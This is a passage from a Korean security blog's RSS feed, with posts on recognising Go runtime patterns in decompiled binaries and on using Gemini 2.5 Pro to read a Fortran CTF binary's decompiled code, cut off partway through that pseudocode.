  &lt;li&gt;&lt;a href=&quot;https://yum-history.tistory.com/285&quot;&gt;windows forensic yum_yum tistory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11114575/accessing-ext3-ext4-journals&quot;&gt;Linux stackoverflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 23 Jun 2025 20:31:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/file-system-journal/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/file-system-journal/</guid>
      </item>
    
      <item>
        <title>리버싱 golang 패턴 정리</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;golang 리버싱 중 발견된 패턴에 대해 정리합니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ghidra&lt;/code&gt;는 비슷하게 출력되지만 일부 깨지는 현상이 발생합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ida&lt;/code&gt;가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;golang&lt;/code&gt; 리버싱에 적합합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;CTF 문제를 풀던 중 고랭으로 나온 프로그램을 디컴파일하게 되었습니다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;고랭 객체 생성시 변수 추적이 잘 되지 않음.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* 채널 생성시 runtime_makechan 뒤에 오는 할당식의 lvar에 채널이 들어갑니다. in, out 구분 없음 */&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;runtime_makechan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RTYPE_chan_int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v49&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;runtime_makechan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RTYPE_chan_uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v48&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;runtime_makechan&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RTYPE_chan_uint8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v47&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* 고루틴 호출 패턴 */&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;runtime_newobject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stru_4B5C60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;main_main_func2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 실제 실행 함수&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;runtime_writeBarrier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;enabled&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// GC 설정 관련 내용, 무시&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;runtime_gcWriteBarrier2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v46&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 고루틴 인자가 fn으로 들어감&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 두번째 인자&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;runtime_newproc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/* 고루틴 인자 받는 패턴 */&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// 어셈으로 볼 경우 스택 8, 16등에 넣는것이 보입니다. 8, 16, ... 순서대로 인자값으로 추정&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;디컴파일된 코드를 편집기로 옮겨서 불필요한 내용을 삭제하며 보는게 좋을듯합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 17 Jun 2025 19:15:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/reversing-golang-pattern/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/reversing-golang-pattern/</guid>
      </item>
    
      <item>
        <title>리버싱에서의 AI 사용</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;디컴파일된 소스코드를 보던 중 막히는 구간이 있어 오래 시간이 잡아먹혔습니다.&lt;/p&gt;

&lt;p&gt;리버싱같은 분야는 하나의 코드가 오래 지속되지도 않으며 커뮤니티에 도움을 청하기도 애매한 분야입니다.&lt;/p&gt;

&lt;p&gt;따라서 디컴파일 소스코드 분석 중 막히게 되면 오랜 시간을 소비하게 되는데&lt;/p&gt;

&lt;p&gt;이번 분석이 막혔을 때 AI가 생각나서 맡겨보았습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;충분히 AI에게 디컴파일된 소스코드 해석을 맡겨볼만함 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gemini 2.5 pro&lt;/code&gt; 기준)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-18-0.png&quot; alt=&quot;포트란으로 짜여진 프로그램의 디컴파일된 소스코드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;CTF 문제를 풀던 중 포트란으로 나온 프로그램을 디컴파일하게 되었습니다.&lt;/p&gt;

&lt;p&gt;리버싱을 잡지 않은지 오래 되어서 분석에 어려움이 있었습니다.&lt;/p&gt;

&lt;p&gt;특히 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v39&lt;/code&gt;에 들어가는 값을 계산하기 힘들었습니다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-18-1.png&quot; alt=&quot;gemini 입력&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gemini 2.5 pro&lt;/code&gt;에 디컴파일된 소스코드를 주고 해석을 맡겼습니다.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Gem시스템을 통해 리버싱과 관련된 대화를 하겠다고만 넣어둔 상태입니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;아래는 디컴파일된 소스코드 전문입니다.&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;sub_1246&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rdx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rcx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r8&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r9&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rdx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rcx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r8&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r9&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// eax&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rdx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rcx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r8&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r9&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rsi&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_len2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// ebx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rdx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rcx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r8&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v18&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r9&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rdx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rcx&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r8&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// r9&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// rbx&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+0h] [rbp-310h] BYREF&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v26&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+4h] [rbp-30Ch]&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v27&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+8h] [rbp-308h]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+10h] [rbp-300h]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+50h] [rbp-2C0h]&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+58h] [rbp-2B8h]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+21Fh] [rbp-F1h] BYREF&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+220h] [rbp-F0h]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+22Ch] [rbp-E4h] BYREF&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+230h] [rbp-E0h] BYREF&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+278h] [rbp-98h] BYREF&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+27Ch] [rbp-94h] BYREF&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+2F4h] [rbp-1Ch]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;min_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+2F8h] [rbp-18h]&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// [rsp+2FCh] [rbp-14h]&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;v32&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sub_19BD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_1954&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_4020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_201C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_190F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v39&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sub_18C2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_2020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;sub_185D&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dword_4020&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
